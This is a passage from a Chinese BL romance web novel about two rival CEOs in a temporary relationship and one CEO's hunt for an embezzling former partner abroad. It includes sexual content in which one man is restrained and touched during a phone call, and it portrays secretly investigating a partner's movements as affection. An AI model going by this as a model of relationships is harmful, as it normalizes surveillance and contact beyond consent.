“方哥,你怎么这么久才接我电话,再慢两秒就得失去我了。” “抱歉。”方霁努力平复自己的呼吸,企图让声音听起来自然一些,但还是有点哑。“我刚刚在洗漱,手机放在卧室没听见。” 甄均轻轻地哦了一声,没再多问,转而切入正题道:“是这样的,我两个月前跟人合资,搞了个中小型温泉度假村,准备发展一下旅游业。再过几天就可以完工开张了,想问问方哥你有没有兴趣赏脸过来一趟,到时候我给你全场免费。” 方霁想了想,两个月前,那不就是他正在西北地区出差的时候。 他对甄均家里的情况有一定了解。这一年里因为在跟父亲赌气,甄均的行事风格上颇有些自甘堕落和破罐破摔的架势。 方霁劝过几次,没用,说多了反倒引得两人都不痛快。现在听到他开始上心正事,不禁生出种欣慰来。 正要开口应约,一阵意外的触感突袭而来,有什么温软的东西贴上他的胸膛,随即将他吞噬进一个湿热而紧致的空间。 尖锐的感官受到牵引、纠缠,伴随着轻微的吸吮,发出了清脆的一声响。 那一刻,酥麻混杂着微妙疼痛,从胸口绽放,仿佛山洪暴发,席卷全身。 毫无预兆的袭击让方霁不由自主地发出了一声呻/吟,体内的电流撕裂出一片崭新的天地,震撼无比。 “方哥,你怎么了?”电话另一头传来甄均的关心。 方霁下意识想捂住自己的嘴,却发现自己的手还被绑着。 “方哥?” “我靠,你别吓我啊。” 贺知行半趴在方霁身上,手肘撑在他两侧。 两颗奶油草莓宛若宝石镶嵌在翠绿叶丛中,饱满红艳,表面形成一抹诱人的弧度,仿佛一件精雕细琢的艺术品。周围沾着最新留下的露水,在光线中晶莹剔透。 他屏息凝视,伸出修长的手指,以指腹揉压上草莓的顶端,温柔而专注,细细检查着品质。 这一动作惹来了果园主人的注意,粗气连连,生怕这难得的佳果就此受损。 舌尖小心翼翼地触及草莓表面,来回摩挲,就像第一次品尝这种水果,既好奇又珍视。慢慢地,似乎找到了某种乐趣, 草莓的汁液在他口腔中绽放,一股清新与醇厚交织的甜美漫过味蕾,舌尖开始更加大胆地游走,沿着草莓的边缘徐徐前行,每一寸接触都留下一道湿润的足迹。 最后,草莓全然融入他的唇齿之间,与其紧密相拥,那份酸甜恰到好处,直击心灵,令人为之陶醉。 方霁咬紧了下唇,几次想要开口呵斥身上的人停下,但手机还在旁边,距离太近,就算是用气音也极大可能会传到甄均那边去。 “没、没事,有只虫子从面前……嗯……飞过而已。”方霁的声音在颤抖,不仅如此,他浑身都在抖。 这家伙怎么能在别人打电话的时候突然做这种事! 甄均还是觉得方霁的声音有些奇怪,不像单纯被吓到的,只是不待他问,方霁就先转移话题,说自己会去捧场,让他发地址给他。 “啊好,我现在就发给你位置。”甄均想了想地点,名字有些长,他打到一半突然不确定是否正确,又将输入框中的内容删除,去翻之前那边直接发给他的定位。 这一翻,又费了好一会。 方霁嘴唇都快咬破了,仍旧没等到那边挂断电话,不得已只能先道:“我准备休息了,你找到了再……发给我。” “行,方哥你好好休息吧,晚安。” 好在说完这句话,甄均那边就先顺势挂了电话,不然他现在抽不出手,还得想办法再提醒对方。 确定不会再有另外的人听见他们的对话,方霁这才放开了声音,“贺、知、行!” “你究竟是怎么想的,知不知道刚才差点就被发现了!” 贺知行早在电话被挂断的那刻从他身上起来,视线下移,其中一边草莓被咬得可怜,和另外一边形成鲜明对比。 有时候他也会苦恼方霁的身体太容易留印,明明没用多大的力气。 “别给我装聋,快给我解开,听见没!” 困住方霁的东西内层还垫了一层海绵,但若是方霁动得太厉害,依然有导致手腕受伤的风险。 贺知行给他解开了束缚。 双手松绑的瞬间,方霁就从床上坐了起来,一把扯下眼睛上的领带,稍微缓了几秒等待视线由模糊转为清晰,这才看清贺知行用的什么绑他。 整套装备字母属性极强,不是他家里原有的,一看就是贺知行带来的变态玩意,明显早有预谋。 方霁的太阳穴跳得厉害,注意到自己胸口近乎惨烈的情况,更是脸色难看。等脚上的束缚也解开,他对着贺知行的小腿踹了一脚,怒道:“又不是属狗的,是不是真以为我不敢揍你?!” 简直太他妈乱来了。 虽然已经不是第一次借着治疗之名行苟且之事,但搞到床上来的还是头一回。发现自己被绑起来的时候他是真吓了一跳,以为又和六年前那样。 贺知行没躲,那一脚力道不轻,他却神色不变,认真道:“我现在是你的男朋友,你却当着我的面和其他男人调情,有出轨的嫌疑。” 第62章 第 62 章 方霁瞬间明白了他的意思, 烦躁地抹了一把脸。明明在人前西装革履,还算个正人君子,私底下却醋意大得惊人, 上回在他家也是, 逮着他一个劲地追问,跟脑子有病似的。 方霁白了他一眼, 没好气道:“临时的。” “另外我哪里调情和出轨了, 你少血口喷人乱安罪名, 就是一个电话而已,说得好像我真做了什么十恶不赦的事。” 他向来守诺, 说出去的话不会轻易违背。尽管这一个月他们并非真正意义上的情侣,但既然他说了会跟其他人保持距离, 就不会在这期间真做出沾花惹草的事来。 他跟甄均就是再正常不过的朋友关系, 如果非要细究, 那就再加上一个兄弟关系。 小葱拌豆腐, 一清二白, 压根就没有贺知行说的那回事。 贺知行却不以为然,他是知道甄均对方霁的心思的, 但很明显当事人自己还无所察觉。 他并不打算主动开口告诉方霁, 他那个弟弟对他心怀不轨。倒不是顾忌甄均事后找他麻烦,而是不想再给方霁增添烦恼。 不过这并不代表他不会有所防范。 没有人可以接受自己心仪的伴侣被夺走, 何况是喜欢了十一年的人。 “嗯。”贺知行嘴上附和似的应着他的话,却将方霁作为男朋友需要履行的义务又复述了一遍,哪怕这场关系是临时的。 “方霁, 你知道我的心意, 从你答应的那刻开始,就应该清楚我不可能对你和其他人的联络无动于衷。”他上身只剩下一件袖口挽到手臂的衬衫, 眼神犹如北极冰川下隐藏的深渊,让人不敢直视太久,唯恐会被吞噬其中,迷失方向。 声音从这副冰冷的外表中传出,低沉而有力,每个字都像经过精心打磨的刀刃,锋利且精准,冷静得可怕。 “另外,下回少喝一点酒。” 方霁依稀想起些自己在路上耍酒疯的事,好像贺知行在车上就绑了他一回。不过考虑到是为了交通安全,这事他可以不计较了。 他以为对方这话是嫌弃去拉了个醉鬼回家,道:“你要是不乐意其实可以不用来接我。” 本来他就是自己开车出行的,贺知行非要上来当他的司机,不答应还赖在他公司门口和家楼下。 贺知行却问:“我现在是你男朋友,我不来接你,你想让谁来接你?” 方霁发现他如今还真是变着花样提醒自己的身份,讲不了几句就又要绕到“男朋友”这个话题上去。 只是临时男朋友都这样了,要真有人跟他处了对象,以后厨房做饭都不用另外放醋了,光是看他就够酸牙的。 “我自己可以回来。” 贺知行看着他,空气中还散发着淡淡的酒气,从哪里来的不言而喻:“酒驾?” 方霁咬牙道:“代、驾。” 方霁懒得再跟他耍嘴皮子,觉得贺知行有时候的醋意简直莫名其妙,跟脑子不正常的人讲话,就算吵赢了也没有丝毫成就感。 “起开,今天到此为止。”他下了床,到衣柜拿了一套干净睡衣和新的内裤,本来好不容易干爽的身体被贺知行这么一气,又出了汗。 方霁准备进入浴室,察觉到身后近乎赤裸的视线如影随形,转过头,后槽牙磨得咯咯作响:“你再盯着我看试试。” 贺知行若无其事地收回了视线,随后将床上收拾干净,极有自觉性地拿起自己的外套,准备去外面客厅沙发。 恰在这时,方霁遗落下来的手机屏幕亮了起来。 【甄均:酢折布响曲洺路202号西南方向60米。】- 方霁虽然人在国内,但杨氨那件事他派了人在持续调查,但凡有一点进展都会立刻发到他手机上。 律师那边的起诉都已经准备得差不多,方霁也让刘叉将可以作为证据的收据,还有那些被坑骗的艺人的合同收集起来。 看似准备齐全,但如果真拿着这些东西去报警,警方会不会立刻出警抓人他不敢确定,但是方天一定会因为运营不善问题先被叫停进行排查。 出入社会多年,杨氨这人十分谨慎,既然敢做出背叛方霁的事情,就一定有所准备,不可能真蠢到用自己的名字去做这些。 他不管是私自敛财还是坑骗艺人,打的统统都是公司的名义,借用职务便利,伙同方霁之前的助理,合同上面盖的都是公司货真价实的印章。 这些证据交出去,就是先陷公司于水深火热之中。 正是权衡了一番其中利弊,方霁才只能想尽各种办法先压着这事,自己掏钱填补空缺,又找了人去调查杨氨和前助理的动向。 他相信,只要这两个人还活在世上,就总有露出马脚被绳之以法的一天。 方霁不知道杨氨离开公司后有没有过一丝愧疚或者后悔,反正他这半年过得挺憋屈的,光是凭着这一条,哪怕是同归于尽,他也一定要拉着杨氨下地狱。 上次这样忙得差点把命搭进去,还是公司刚创立那会,但那会他没有现在这么烦躁和生气。 【时臻潭:图片.jpg】 【时臻潭:这是我们在S国的B区街道上拍到的。】 没想到这王八蛋这么能藏,行事格外小心,出行必乔装打扮,购物都是使用现金消费。 但人不会愿意胆颤心惊地生活一辈子,这不,以为半年过去自己就安全了,开始得意忘形,在使用自己的身份证开房时露出了破绽。 方霁此刻的目光宛如鹰隼一般犀利,死死锁定在手中的屏幕。 尽管照片中那人带着墨镜,只显露出半张面孔,身形更是有了变化,但凭借多年的相处,方霁仍能准确无误地辨认出对方的身份,心中的怒火随之升腾。 画面上,杨氨一身时尚的黑色皮夹克,与过往办公室里的谦逊模样截然不同,周身散发出一股张扬的气息。一旁陪伴的是位金发碧眼、身材曼妙的外国女子,她紧紧挽着他,两人之间流露出亲密与欢愉,显然正享受着奢侈的生活,手中提着众多购物袋。 真是狗改不了吃屎。 杨氨是最早一批加入他公司的人,那时候他刚谈下第一项合同,公司开始小有起色。但要想顺利经营好一家公司,取得长远的发展,光靠他一个人的力量肯定是不行的,所以他就开始招人。 杨氨不仅是方天的员工,同时也是公司初期的股东之一。他们一起见证了方天从无到有的过程,共享成功的喜悦。 然而这一切,都在金钱与权力面前变得脆弱不堪。 方霁当初有多信任他,如今就有多憎恶自己看走了眼。 值得庆幸的是,他早有先见之明,牢牢掌控了公司的绝对控股权,无论是在法律意义上,还是实质操作上,这家公司都是他的心血结晶,对公司的所有重大决策都有一票通过权,可以完全控制公司的运营和决策。 【方霁:人帮我继续盯着,别让他跑了,但也别打草惊蛇。】 【时臻潭:好嘞。这小子跑到S国来算他倒霉,这儿有不少我的兄弟。】 【方霁:辛苦你们了,等事情结束,我请大家吃饭。】 方霁跟那边商定好后续安排,便利用桌面上的座机打了一通电话出去。 “小刘,你查一下近期的机票,帮我订最快一班去S国的。” “好的方总。” “……我查了一下,明天早上七点就有一班,但会不会太赶了?” “没事,就这班。”- 下班后,照常是贺知行来接他,方霁刚踏出公司大门,就看见一辆黑色轿车停在不远处。 “你公司都不忙吗?怎么每次我下班的时候你都已经等在底下。”搞得他避都避不开,公司只有这一个出口,其他的路径就是二楼的窗口了。 “你该不会这段时间一直在压榨手下员工,把所有事情全都交出去了?”方霁猜测道。 在自己开公司之前,方霁对于总裁的印象也是停留在电视剧上演的那些,动辄就是什么黑卡、金卡上千万消费,每天不是忙着和女主谈恋爱,就是出入各种纸醉金迷的娱乐场所。 但实际现实生活里的总裁跟社畜没什么两样,照样是早九晚六,该上班的上班,该开会的开会。 贺知行挑了挑眉,反问道:“我在你心目中就是一个只会压榨员工的资本主义形象?” 他的公司的确每天都有正事需要处理,但只要合理安排时间,按时来接方霁上下班完全不成问题。 一两天抽不出时间是情有可原,可以理解,要是天天都将“没空”挂在嘴边,那就是态度问题了。 方霁错开了同他的对视,其实他也是乱猜的。 这个点正是下班高峰期,方霁的下班时间和公司里其他员工是一样的。他们站在大门前聊天这会,就陆陆续续有员工从里面出来。 有胆子大的会直接跟方霁打招呼,方霁都有所回应,直至一名穿着黄色长裙的女员工从里面走出来,方霁在看向她时神情似乎有些一言难尽。 女员工跟方霁说完再见,也没漏了一旁的贺知行,最后一步三回头地离开,激动地用双手捂住了下半张脸。 贺知行的话向来不多,对于不熟识的人更是,只是微微点头。旋即,目光一直追随着那名离开的女员工,不解为什么对方在看到他们时会露出那种窃喜的表情。 方霁注意到,不悦地皱起了眉:“看够了吗?” 贺知行收回视线,听出方霁语气中的不耐,知道他这是不高兴了。 “你是在吃醋吗?” 谁知下一秒方霁就否认道:“少自恋了,我才没有你那么大的醋劲,就算你现在追上去问要联系方式,我都不会眨一下眼。” 他就是不喜欢贺知行的双标而已,对着他提出一个合格男朋友应该履行的基本条约,他跟别人多说一句话都要叽叽歪歪,结果自己倒是盯着其他女生看个不停。 “我有你的联系方式就够了,不需要再额外添加别人的。”贺知行从衣服口袋中摸出手机,解锁屏幕,“你有检查的权利。” 哪怕是被对方拉黑的时期,与方霁的微信聊天框也一直在他界面的置顶。只要对方给他发消息过来,他都能第一时间注意到。 可惜,方霁很少主动给他发消息,他们所有的聊天记录加在一起,兴许还不如别人一个星期的多。 方霁看着面前的手机,冷笑了一声,他才没那个兴趣去检查。 其实刚刚那名女员工他不止认识,甚至是印象深刻。 贺知行来方天的次数多了,加之他本身就长相出众,几乎在一层上班的员工都认识他。 除此之外,公司内部都有不少人讨论他。 方霁不推崇内卷式工作方式,本来上学时期卷的那十几年就够累了,所以他并不强行限制员工的八卦行为,对于偶尔的摸鱼都是睁一只眼闭一只眼。 毕竟劳逸结合才能提高效率,他自己工作累了也会刷会短视频放松。 直到有一天他无意听见两名女员工在茶水间的聊天内容。 方霁听不懂“同人文”、“太太”、“冷圈”是什么,却听得懂她们接下来提到的攻受问题。 “这个太太产出的粮简直太好吃了,不亏是我们冷圈的镇楼老师。” “什么粮?哪对cp的?” “方总跟贺总。嘘,你可别大肆宣扬跟其他人说,我们自己偷偷拉的群在磕。” “不是,他们两有什么好磕的?我记得咱们方总跟知谦的贺总是竞争关系,这些年以来不是都不对付吗?” “就是这种不对付才带感呀!你想想,这不妥妥现实版的死对头文学么,耽圈老流行了,斗得越狠爱得越深,到了床上死里艹,没个三天三夜不结束。” “嘶,那你站谁攻谁受?” “这还用站?当然是身高定攻受啦~” 第63章 第 63 章 方霁真的很少干扰员工的言论自由, 那天是他第一次出面,以老板的口吻开口让她们今后少在公司里聊这些跟工作不相干的事,影响不好。 两名女员工被谈论对象之一当场抓包, 不可谓不尴尬, 忙不迭点头,一溜烟跑了。 “……今晚想吃什么?” 天气渐渐热起来, 白昼重新被拉长。街灯初亮, 与晚霞相互辉映, 一抹金橘色如同醇厚的琥珀酒液,倾泻而下, 连接着道路边线,仿佛天地在此刻交融, 界限模糊。 “吃火锅吧。”方霁道。 这半个月以来, 他们的晚餐几乎都是一起吃的。要是方霁愿意下厨, 那就是去方霁家吃, 但他近期开始季节性犯懒, 不太想动,次数屈指可数, 所以更多的还是贺知行带着他在外面吃。 至于为什么不是贺知行下厨…… 他做出来的那些东西就没法下嘴, 光是那个品相,就足够在医院ICU提前预定一个床位。 通过这段时间的相处, 方霁早就知道了贺知行家里压根没有请家政阿姨,不过是这家伙为了维护颜面的一个幌子。 之前他吃的那个青椒炒土豆丝、鸡蛋汤,贺知行要是不开口说, 他都没认出来是这两道家常菜。 还有那个硬得像看了八百部片子的粥, 出于不浪费粮食,他那天硬着头皮全部喝完了, 结果中午就因消化不良开始闹肚子。 总之每一道单拎出来都挺一言难尽的。 “就去前段时间在市中心新开的那家吧。”方霁斜靠着车门,一只手懒懒地托着下巴,昵了一眼正在开车的男人,“你能吃辣吗?” 他跟贺知行吃过几次饭,以大学时期最为频繁,那时候他就观察了一下贺知行的饮食喜好。如果对面问要不要加辣椒,贺知行基本都会回答不需要,就连宿舍分食辣条,他也是直接拒绝。 方霁由此得出他大概不喜欢吃辣的结论。 他之所以再多此一举问一嘴,一方面是确认自己当初的猜想,另一方面也是想间接劝退贺知行,让他知道他们的饮食风格不同,今后其实大可不必总是迁就他。 岂料贺知行给出的回答完全出乎他的意料。 “可以。是上次你跟你那个弟弟去的那家吗?” 他那天在方天楼下看到了两人用完餐一起回来,但那个时候他还不知道他们是去吃饭。 几天后,方霁来他家陪蓝书柳过生日,他又看到方霁腿上和屁股上那些,要说半点都不在意是不可能的,事后就特意去调查了他们那天的出行情况。 依据得到的内容,他们那天真的就只是单纯吃了个饭,从进店到出来,一共耗时42分钟02秒。 “你怎么知道我跟甄均去那家吃过?”方霁敏锐地发觉不对,审视地看向他,半眯了下眼:“你又调查我?” 贺知行没承认但也没有否认,好似所有注意力都聚集在开车上。 方霁已经习惯了他用沉默来躲避话题,少顷,将头转回去,倒是没有多少脾气。 反正贺知行调查他也不是一次两次了,他最开始知道的时候确实很反感这种行为,跟窥探隐私无异。 可后来他发现,贺知行调查的都是些鸡毛蒜皮的小事,不是不能接受。另外,刚好可以平息一下他那些莫名其妙的占有欲和醋意,省得他再费口舌去解释。 大概因为今天是周五,第二天不用上班,他们进店时,店内的人比上一次过来多了许多,放眼望去全是人头和冒着热气的火锅。 方霁先到前台询问了一下还有没有空位,“包间或者外面都可以。”心想要是全部满座了就换一家,反正这栋商场的整个五层都是用餐区。 “两位请稍等,我查一下。” “……还有最后一个包间,但是餐位费比外面要贵,两位可以接受吗?” 方霁想都没想就同意了,很快就有服务员过来领着他们往包间走。推开门,里面空间很大,所有装潢都透着一种新中式气息。 墙上挂着几幅精美的山水国画,精致的木雕窗棂线条流畅,图案古朴典雅。包间中央摆放着一张圆形的红木餐桌,表面光滑如镜,自带火锅锅。 包间的四壁并未过多装饰,而是选用浅灰色的墙纸,上面点缀着淡雅的竹叶纹路。天花板的设计别具匠心,采用的是仿古宫灯造型的吊灯,投射出温馨而柔和的光影效果。 方霁问贺知行有没有什么想点的菜,贺知行摇头,说:“你点你喜欢吃的就行。” 方霁哦了一声,没跟他客气,却还是忍不住吐槽道:“你难道就没有自己想吃的吗?每次都是跟着我一样。” 但凡像这样要一起点菜的,贺知行都会说依据他的喜好来就行,自己反倒没什么要求。 贺知行说:“我可以接受跟你一样的。” 点汤底的时候,方霁想了想,还是没有直接选择麻辣,而是点了个双拼的:“麻烦上番茄和麻辣的汤底,谢谢。” 东西很快上齐,用的都是当日最新鲜食材,方霁上次跟甄均来这吃就觉得味道挺不错的。 他先往两边汤底各下了一半食材,等煮熟,果不其然就看到贺知行将筷子伸向番茄锅。 方霁调了蘸料回来,在麻辣锅里烫了一片羊肉卷,裹上辣椒粉,没有直接送进嘴里,而是先问:“你要不要尝一下?” “不过加了辣椒。” 贺知行的视线落在那片裹满了大半辣椒粉的羊肉上,红得近乎炫目,似有犹豫,最终还是说“好”。 于是方霁将那边羊肉递到了贺知行的餐碟里。贺知行用筷子夹起来送入嘴里,剧烈的辣意瞬间席卷而来,他尽力忍住面部表情的变化,咀嚼数下后迅速吞咽。 不出三秒,拿起一旁的茶水,仰起头一饮而尽。 方霁先是愣住了,望着对面那个猛烈灌水、全然不似平常冷静的男人,他忍不住轻笑出声,觉得又无语又好笑。 他承认,他往那片羊肉卷上蘸满辣椒粉有故意的成分在里边,但他真没想到贺知行在明知的情况下还是答应接受。 他在这种事上也爱争一个输赢? “真吃不了辣就直说,逞什么强,这又不是什么丢人的事。”方霁开了一瓶冰镇豆浆,插上吸管递到贺知行手边。 贺知行接过,直至那甜润的感觉逐渐中和了口腔里的辣意,才稍微好受一些。 一瓶豆浆没一会就被喝完大半,方霁这回是真不敢再让贺知行吃辣了,“看吧,非得死要面子活受罪,嘴巴都辣红了。” 事实上,贺知行不觉得这是一件多么丢脸的事,更不是为了满足什么胜负欲。他只是好奇,能被方霁喜欢的味道是什么样的? 所以无论方霁点了什么菜,他都可以去尝试。 正如他一开始擅长的并不是娱乐圈领域,却选择了知谦公司,与方霁成为同行。 生活中的共同点越多,彼此之间的联系便会越紧密,关系也会更加稳固。 “下次再遇到不喜欢的东西记得直接说,听到没?”方霁往番茄汤底那边多下了一些肉类。 “没有不喜欢。”贺知行道,声音因为被辣过一回带着点沙哑,“只是不太会吃。” 蓝书柳对于入口的东西很讲究,故而他此前的饮食习惯一直较为清淡,现在突然开始吃辣,就像让一个刚学会十以内加减法的小学生去参加高考,肯定会感到异常艰难。 但多吃几次的话,应该会适应很多。 “拉倒吧,你何止是不会吃。”方霁无情戳破道:“你这就跟从没吃过辣椒一样,耐受度简直为零。” 他将从番茄锅里烫好的几片羊肉夹到贺知行餐碟中,这次没裹任何辣椒,道:“明天开始你就不用再来接我上下班了,我要到外面出差一阵子。” 贺知行看着方霁手上动作,对于他夹过来的一切食材都欣然接受。闻言嗯了一声,大概半分钟后,装似不经意间问:“去哪?需要我去帮忙吗?” 方霁扫了一眼他脸上神情,一惯的平静,但他抛出的问题却暴露了他对这件事的态度。 “S国,就去几天而已,很快回来。” “你公司不是也有正事吗?我自己一个人就行,你不用老围着我转。”在没答应当贺知行的临时男朋友之前,他一直都是一个人出差的,最多带上助理。 都多大的人了,早就不是出门还要家长陪同的小朋友了。 贺知行却道:“我公司的事情可以进行协调,不会耽误。” “……机票订好了吗,哪一班?” 桌面的火锅开始咕嘟咕嘟作响,方霁摸到桌旁的旋转式按钮,将温度调低了一些,原本热火朝天的汤面渐渐冷静下去。 “明天早上七点的。” 贺知行微不可察地皱了下眉。现在已经快八点,再去订次日的机票大概率来不及,但他仍旧拿起手机,抱着试一试的心态点进购票软件。 售罄。 “明早我去送你。”贺知行放下手机道。 方霁这次倒是没拒绝,“好。” 第64章 第 64 章 方霁订的是国际航班, 一般建议提前三小时抵达机场,留好充足的时间办理登机手续和处理突发状况。 两人吃完火锅出来,又到附近散了会步消食, 沿着江边, 不远处就是广场。正中央的音乐喷泉喷出高达十几米的水柱,水珠在空中划出绚丽的轨迹, 与水底灯的交相辉映, 绽放出五颜六色的光芒。 回到家, 方霁整理好行李便早早睡下,第二天凌晨闹钟响起, 他洗漱完乘坐电梯下楼,黑色轿车已经等在他一眼就能注意到的地方。 这个点, 纵然是以夜景闻名的晋城, 也难掩一丝清寂, 街道上仅有寥寥车辆穿梭, 唯有早餐铺开始忙活起来, 散发出阵阵热腾腾的香气。 贺知行比方霁醒得更早些,帮忙将行李箱放进后备箱, 接上人, 先驱车前往一家早餐店。 方霁对于这方面没有太严苛的要求,一杯豆浆加一屉小笼包绰绰有余。 或许是因为今天要早起, 方霁昨晚穿到贺知行身上后,对方竟然没有再做任何奇怪的事,让他难得睡了一个好觉, 此刻心情倍感舒畅 离开早餐店, 走出没几步,贺知行忽然停下来。 方霁余光瞥见他的停顿, 跟着停下了脚步,疑惑道:“怎么了?有东西落在里面了?” “不是。”贺知行的眼神专注而深邃,注视着方霁的脸庞,缓缓开口:“我可以亲你吗?” 这话比孙悟空从石头里蹦出来还猝不及防,方霁一时语塞,大脑陷入了短暂的宕机。回过神来,一脸不解地质疑道:“贺知行,你该不会有皮肤饥渴症吧?” 贺大总裁自我认知清晰,笃定道:“没有。” 方霁哑然,“那你为什么总想着亲我?” 动不动就要亲,每次又都装绅士问他。 他是会说“好啊随你亲”,还是会主动献/身? “我对你有欲望,会产生生理冲动,所以——” 贺知行话还没说完,方霁已经快步上前,用手盖住了他的嘴,阻住他继续说下去。 方霁瞪着他,狠道:“行了少说点,知道你是个满脑子都装着黄色废料的变态男同了。” 直至确定贺知行不会再说出什么奇怪的话,方霁才答应放开他。 贺知行看着那只白皙修长的手自然垂落下去,道:“我不喜欢男人。” 方霁的嘴角微微抽动了两下:“你这是变相骂我不是男人?” 贺知行连忙澄清道:“我是指,我对同性恋群体中的其他人都没有感觉。” 出生后的十八年里,他所接受的爱情观念始终停留在传统的男女配对模式,以至于他理所当然地认为自己也是喜欢异性的,只是缺乏一个满足他心动条件的人。 直至遇到了方霁,这一切都被颠覆。方霁的存在打破了他对爱情的常规认知,让他意识到,爱无需受限于性别框架之内。 方霁却没听出他这话的另一层意思,淡淡道:“哦,那你眼光还挺挑剔的。” 贺知行:“……” “那可以亲吗?”贺知行沉默了一会儿,再次回到最初的疑问。 方霁对他的执着同样习以为常,道:“我没有在大马路上被人围观接吻的癖好,就算凌晨人少也不行,谁知道附近有没有监控。” 贺知行以为他这是拒绝了,没强求。 方霁打开副驾驶的车门,驾轻就熟地坐进去,当车门只剩下一道巴掌大小的缝隙时,道:“不过,车内倒是没问题。” 方霁彻底关上了副驾驶的车门,贺知行先是一愣,后知后觉反应过来方霁抛出的邀请,绕到轿车的另一边。 刚上车,狭小空间内的空气仿佛瞬间被点燃,方霁的手腕如同拥有独立意志的藤蔓,自然而然地揽过贺知行的脖子。 “算作支付的车费,下不为例。”话落,方霁主动吻了上来。 他们的距离缩短至呼吸可闻,能感觉到对方细微的体温与心跳。 双唇相触的那一刻,所有的矜持与犹豫似乎都消失殆尽,他们的世界好似仅剩下这单一的纠缠声,热烈、漫长,犹如夏日的赤阳。 这个吻差点叫方霁招架不住,明明最开始掌握主导权的是他,但很快,贺知行反客为主,以一种令人意想不到的方式加深了这个吻。 良久,唇分,两人才得以喘息,彼此眼中皆盛满了情意与渴望。 方霁的唇瓣上沾染着一层薄薄的光泽,呼吸仍未平复:“老实交代,你是不是瞒着我偷偷报班练习了?” “练习了。”贺知行坦然承认。他抽了两张纸巾,擦拭掉滴落在中央扶手盒上的水液,“不是报班,也没找过别人接吻。” 方霁坐正了身体,背靠车椅,虽然觉得他最后一句解释挺多余的,但颇为满意- 方霁到S国时已经是晚上,这里和国内存在将近十小时的时差,他这次是选择一个人过来,没有带上刘叉。 事实上,就算带上刘叉也帮不上太多忙。刘叉虽然知道了杨氨那件事,但很多调查方面的安排,方霁并未经过刘叉去下达,而是直接自己跟时臻潭进行沟通。 至于为什么,大概有四成原因在于一朝被蛇咬,十年怕井绳,他不可能不在这方面增强防范,哪怕已经换了个新助理。 另外六成,则是刘叉跟贺知行存在联系,就算不频繁,但仍旧有被透露的风险存在。 有些事情他想亲自解决,不想再将贺知行牵扯进来。 方霁出了机场,先打车到一个酒店安顿行李,等从浴室出来,拿起放在圆木小桌上充电的手机,指尖划拉了几下联系人页面,选中目标拨打出去。 “……嗯,我到S国了。不用,酒店我已经找好了。” “明天约个地方线下见一面吧,我都有时间,看你,位置发我手机上就行。” 挂断电话,方霁找到房间内的吹风筒,将一头短发吹干,到床上躺下,估摸着贺知行那边现在应该是早上。 他点进跟贺知行的微信聊天框。他们上一次的聊天记录停留在他去参加酒局那次,贺知行说在别墅外面等他。 从他们成为临时男朋友开始,所有聊天软件上的对话依旧跟过去没什么两样。 不过他们本来就不是真正意义上的情侣。 说实话,方霁挺想象不出和贺知行像其他情侣那样相互叫“宝宝”、每天都要腻歪的画面,放在他们身上就太肉麻了,不再适合两个快三十岁的男人。 再往上翻,是他发现下面交上来的一份策划出了错误,不得已在公司临时加班开会。 那天他因为心情较差,忘了提前给贺知行发个消息告知不用等他。 等他想起自己的疏漏,中途抽空看了眼手机,见贺知行没有给他发来任何催促消息,以为对方是从刘叉那里知道他的情况已经回去了,就先接着开会,没再去解释。 贺知行确实从他助理那里得知了他在开会加班的事,却没有回去,而是在楼下的休息区等了一个小时,然后到外面打包了一份晚餐,回来时方霁刚好结束会议,正按着酸涩的晴明穴往办公室方向走。 最后他们是在公司吃的饭,贺知行看着他吃,事后方霁问起:“你吃没?” 看到这个傻子摇头,才知道他只光顾着给他买了。 方霁以前对所谓的“恋爱脑”没有太直观的感受,但那天是真差点给贺知行的降智行为气到厥过去。 继续往上翻,又是一条贺知行主动发消息给他,说自己已经等在他家楼下,顺便给他带了他上次随口一说想吃的早点。 方霁突然有些好奇,他点进历史聊天记录的搜索栏,尝试搜了一下“等”这个关键字。 不到二十页的聊天里面居然涉及到“等”字的就有二十八条,几乎全是贺知行发来的。 方霁错愕地浏览着每一条,直到今日才恍然意识到贺知行等了自己那么多次。 不对,或许不仅仅是这段时间,而是……十一年。 方霁说不上来自己此时是什么心情,只觉得有一枚重锤,敲击在他的心扉,带来了复杂的情绪波动,从心脏传开陌生的酸胀感。 他退出微信界面点开通讯录,准备打电话跟对方说一声自己到了的事,但不知为何,他打了两次,振铃结束自动挂断,贺知行都没有接听。 按理来说,贺知行这个点应该是醒了的,不是在晨跑,就是在附近的健身房。 无法,方霁只好返回微信,编辑了一条内容发过去。 他等了一会,提示音响起时是在大概十几分钟后,他立刻将手机拿起来,却看到是某宝无关紧要的广告推送,于是又将手机放下。 这家伙究竟在搞什么?电话不接,消息也不回。 种种猜测在方霁心头盘旋,却得不到解答。没一会,身体的疲惫逐渐占据上风,他在等的途中先睡了过去。 今晚,他罕见地没有再穿到贺知行身上去,一觉睡到了天亮。 翌日早晨,依旧没有贺知行的消息。 方霁确实不太爱俯身到贺知行的内裤上,他想应该也没有哪个正常人会想每晚贴着别人的那玩意,但醒后发觉自己没穿过去时,这回反倒没有太多欣喜。 是偶然还是这个灵异事件真的被打破了? 方霁眉头紧锁,旋即拨打了贺知行助理的电话,那边倒是很快接通。 “喂,您好?” “我是方霁。”方霁简洁表明了身份,“你们贺总在吗?” 助理下意识回过身,看了一眼空荡荡的办公室:“呃……在、在的。” 方霁:“让他接电话,我有话跟他说。” 助理迟疑数秒,改口道:“他又不在了。” 方霁面露怀疑:“什么意思?” 助理小心翼翼解释:“下班时间到了,他刚乘坐电梯离开。” 方霁:“……” “麻烦转告他,如果他是故意不接电话不回消息的,那么他的对象会在国外待到一个月结束。” 他现在不想发什么早安、晚安之类的话了,他就想知道贺知行这家伙还活没活着。 第65章 第 65 章 整理妥当, 方霁前往位于酒店二层的餐厅,享用了一顿由这边附带提供的早餐,随后上街, 打车到跟时臻潭约定好的咖啡馆。 S国虽异域风情浓厚, 却与国内文化有种大同小异之处,两地间的商贸交流绵延不断, 以至于在这片遥远的土地上, 处处可见国产商品的身影, 仿佛一条熟悉的纽带跨越千山万水,给人一种亲切感。 咖啡馆的装潢同样主打休闲风暖色调。方霁先抵达这边, 点了一杯经典美式咖啡,准备边喝边浏览时臻潭发送的文档资料。 第一口咖啡入口, 那股浓郁而不羁的苦涩瞬间席卷感官, 令他眉头微蹙。 方霁抬手招来服务生。 算了, 果然总裁文里面的标配还是不适合他。 “Excuse me, could I have some sugar, please” 方霁用一口流利的英语问道。 "Yes, of course." 服务生的回答简洁明快, 随即添上了几颗精致的方糖。 七年前从国内大学毕业后, 方霁曾另外花了一年的时间到国外进行深造,当时选择的地方就是S国。 时臻潭是他在S国时结识的朋友, 同样是华人,但很多年前开始,时臻潭就随家人一起迁移定居在了S国, 